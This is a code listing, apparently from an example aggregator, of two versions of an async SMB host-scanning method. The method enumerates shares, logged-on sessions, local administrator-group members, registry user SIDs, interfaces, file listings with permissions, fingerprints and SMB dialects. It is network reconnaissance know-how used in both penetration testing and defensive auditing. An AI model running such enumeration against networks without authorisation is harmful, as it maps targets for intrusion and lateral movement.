                        f = SMBFinger.from_extra_info(tid, extra_info)
                        await self.out_q.put((tid, connection.target, f, None))
                    except:
                        traceback.print_exc()

                machine = SMBMachine(connection)

                if 'all' in self.gather or 'shares' in self.gather:
                    async for smbshare, err in machine.list_shares():
                        if err is not None:
                            await self.out_q.put(
                                (tid, connection.target, None,
                                 'Failed to list shares. Reason: %s' %
                                 format_exc(err)))
                            continue
                        share = NetShare()
                        share.machine_sid = tid
                        share.ip = connection.target.get_ip()
                        share.netname = smbshare.name
                        share.type = smbshare.type
                        r = None
                        try:
                            r = smbshare.remark.decode()
                        except:
                            r = smbshare.remark
                        share.remark = r

                        await self.out_q.put(
                            (tid, connection.target, share, None))

                if 'all' in self.gather or 'sessions' in self.gather:
                    async for session, err in machine.list_sessions():
                        if err is not None:
                            await self.out_q.put(
                                (tid, connection.target, None,
                                 'Failed to get sessions. Reason: %s' %
                                 format_exc(err)))
                            continue

                        sess = NetSession()
                        sess.machine_sid = tid
                        sess.source = connection.target.get_ip()
                        sess.ip = session.ip_addr.replace('\\', '').strip()
                        sess.username = session.username

                        await self.out_q.put(
                            (tid, connection.target, sess, None))

                if 'all' in self.gather or 'localgroups' in self.gather:
                    for group_name in self.localgroups:
                        async for domain_name, user_name, sid, err in machine.list_group_members(
                                'Builtin', group_name):
                            if err is not None:
                                await self.out_q.put((
                                    tid, connection.target, None,
                                    'Failed to connect to poll group memeberships. Reason: %s'
                                    % format_exc(err)))
                                continue

                            lg = LocalGroup()
                            lg.machine_sid = tid
                            lg.ip = connection.target.get_ip()
                            lg.hostname = connection.target.get_hostname()
                            lg.sid = sid
                            lg.groupname = group_name
                            lg.domain = domain_name
                            lg.username = user_name
                            await self.out_q.put(
                                (tid, connection.target, lg, None))

        except asyncio.CancelledError:
            return

        except Exception as e:
            await self.out_q.put(
                (tid, connection.target, None,
                 'Failed to connect to host. Reason: %s' % format_exc(e)))
            return

        finally:
            await self.out_q.put(
                (tid, connection.target, None, None))  #target finished
Example #22
0
    async def scan_host(self, atarget):
        try:
            tid, target = atarget
            connection = self.smb_mgr.create_connection_newtarget(target)
            async with connection:
                _, err = await connection.login()
                if err is not None:
                    raise err

                machine = SMBMachine(connection)

                if 'all' in self.gather or 'shares' in self.gather:
                    async for smbshare, err in machine.list_shares():
                        if err is not None:
                            await self.out_q.put(
                                (tid, connection.target, None,
                                 'Failed to list shares. Reason: %s' %
                                 format_exc(err)))
                            break
                        else:
                            share = NetShare()
                            share.machine_sid = tid
                            share.ip = connection.target.get_ip()
                            share.netname = smbshare.name
                            share.type = smbshare.type
                            await self.out_q.put(
                                (tid, connection.target, share, None))

                if 'all' in self.gather or 'sessions' in self.gather:
                    async for session, err in machine.list_sessions():
                        if err is not None:
                            await self.out_q.put(
                                (tid, connection.target, None,
                                 'Failed to get sessions. Reason: %s' %
                                 format_exc(err)))
                            break
                        else:
                            try:
                                sess = NetSession()
                                sess.machine_sid = tid
                                sess.source = connection.target.get_ip()
                                sess.ip = session.ip_addr.replace('\\',
                                                                  '').strip()
                                sess.username = session.username

                                await self.out_q.put(
                                    (tid, connection.target, sess, None))
                            except Exception as e:
                                await self.out_q.put(
                                    (tid, connection.target, None,
                                     'Failed to format session. Reason: %s' %
                                     format_exc(e)))
                if 'all' in self.gather or 'localgroups' in self.gather:
                    for group_name in self.localgroups:
                        async for domain_name, user_name, sid, err in machine.list_group_members(
                                'Builtin', group_name):
                            if err is not None:
                                await self.out_q.put((
                                    tid, connection.target, None,
                                    'Failed to poll group memeberships. Reason: %s'
                                    % format_exc(err)))
                                break
                            else:
                                lg = LocalGroup()
                                lg.machine_sid = tid
                                lg.ip = connection.target.get_ip()
                                lg.hostname = connection.target.get_hostname()
                                lg.sid = sid
                                lg.groupname = group_name
                                lg.domain = domain_name
                                lg.username = user_name
                                await self.out_q.put(
                                    (tid, connection.target, lg, None))

                if 'all' in self.gather or 'regsessions' in self.gather:
                    users, err = await machine.reg_list_users()
                    if err is not None:
                        await self.out_q.put(
                            (tid, connection.target, None,
                             'Failed to get sessions. Reason: %s' %
                             format_exc(err)))

                    else:
                        try:
                            for usersid in users:
                                if usersid in self.regusers_filter:
                                    continue
                                if usersid.find('_') != -1:
                                    continue
                                sess = RegSession()
                                sess.machine_sid = tid
                                sess.user_sid = usersid

                                await self.out_q.put(
                                    (tid, connection.target, sess, None))
                        except Exception as e:
                            await self.out_q.put(
                                (tid, connection.target, None,
                                 'Failed to format session. Reason: %s' %
                                 format_exc(e)))

                if 'all' in self.gather or 'interfaces' in self.gather:
                    interfaces, err = await machine.list_interfaces()
                    if err is not None:
                        await self.out_q.put(
                            (tid, connection.target, None,
                             'Failed to get interfaces. Reason: %s' %
                             format_exc(err)))

                    else:
                        try:
                            for interface in interfaces:
                                iface = SMBInterface()
                                iface.machine_sid = tid
                                iface.address = interface['address']

                                await self.out_q.put(
                                    (tid, connection.target, iface, None))
                        except Exception as e:
                            await self.out_q.put(
                                (tid, connection.target, None,
                                 'Failed to format interface. Reason: %s' %
                                 format_exc(e)))

                if 'all' in self.gather or 'share_1' in self.gather:
                    ctr = self.share_max_files
                    maxerr = 10
                    async for obj, otype, err in machine.enum_all_recursively(
                            depth=1, fetch_share_sd=False, fetch_dir_sd=True):
                        otype = otype.lower()
                        ctr -= 1
                        if ctr == 0:
                            break

                        if err is not None:
                            await self.out_q.put((
                                tid, connection.target, None,
                                'Failed to perform first-level file enum. Reason: %s'
                                % format_exc(err)))
                            break

                        else:
                            try:
                                if otype == 'share':
                                    continue
                                if otype in ['file', 'dir']:
                                    sf = SMBFile()
                                    sf.machine_sid = tid
                                    sf.unc = obj.unc_path
                                    sf.otype = otype
                                    sf.creation_time = obj.creation_time
                                    sf.last_access_time = obj.last_access_time
                                    sf.last_write_time = obj.last_write_time
                                    sf.change_time = obj.change_time
                                    if obj.security_descriptor is not None and obj.security_descriptor != '':
                                        sf.sddl = obj.security_descriptor.to_sddl(
                                        )
                                    if otype == 'file':
                                        sf.size = obj.size
                                        sf.size_ext = sizeof_fmt(sf.size)

                                    await self.out_q.put(
                                        (tid, connection.target, sf, None))
                            except Exception as e:
                                maxerr -= 1
                                await self.out_q.put(
                                    (tid, connection.target, None,
                                     'Failed to format file result. Reason: %s'
                                     % format_exc(e)))
                                if maxerr == 0:
                                    await self.out_q.put((
                                        tid, connection.target, None,
                                        'File Results too many errors. Reason: %s'
                                        % format_exc(e)))
                                    break

            try:
                if 'all' in self.gather or 'finger' in self.gather:
                    connection = self.smb_mgr.create_connection_newtarget(
                        target)
                    extra_info, err = await connection.fake_login()
                    if extra_info is not None:
                        f = SMBFinger.from_fake_login(tid,
                                                      extra_info.to_dict())
                        await self.out_q.put((tid, connection.target, f, None))
            except Exception as e:
                await self.out_q.put(
                    (tid, connection.target, None,
                     'Failed to get finger data. Reason: %s' % format_exc(e)))

            try:
                if 'all' in self.gather or 'protocols' in self.gather:
                    for protocol in self.protocols:
                        connection = self.smb_mgr.create_connection_newtarget(
                            target)
                        res, _, _, _, err = await connection.protocol_test(
                            [protocol])
                        if err is not None:
                            raise err
                        if res is True:
                            pr = SMBProtocols()
                            pr.machine_sid = tid
                            pr.protocol = protocol.name if protocol != NegotiateDialects.WILDCARD else 'SMB1'
                            await self.out_q.put(
                                (tid, connection.target, pr, None))
            except Exception as e:
                await self.out_q.put(
                    (tid, connection.target, None,
                     'Failed to enumerate supported protocols. Reason: %s' %
                     format_exc(e)))

        except asyncio.CancelledError:
            return

        except Exception as e:
            await self.out_q.put(
                (tid, connection.target, None,
                 'Failed to connect to host. Reason: %s' % format_exc(e)))
            return

        finally:
            await self.out_q.put(
                (tid, connection.target, None, None))  #target finished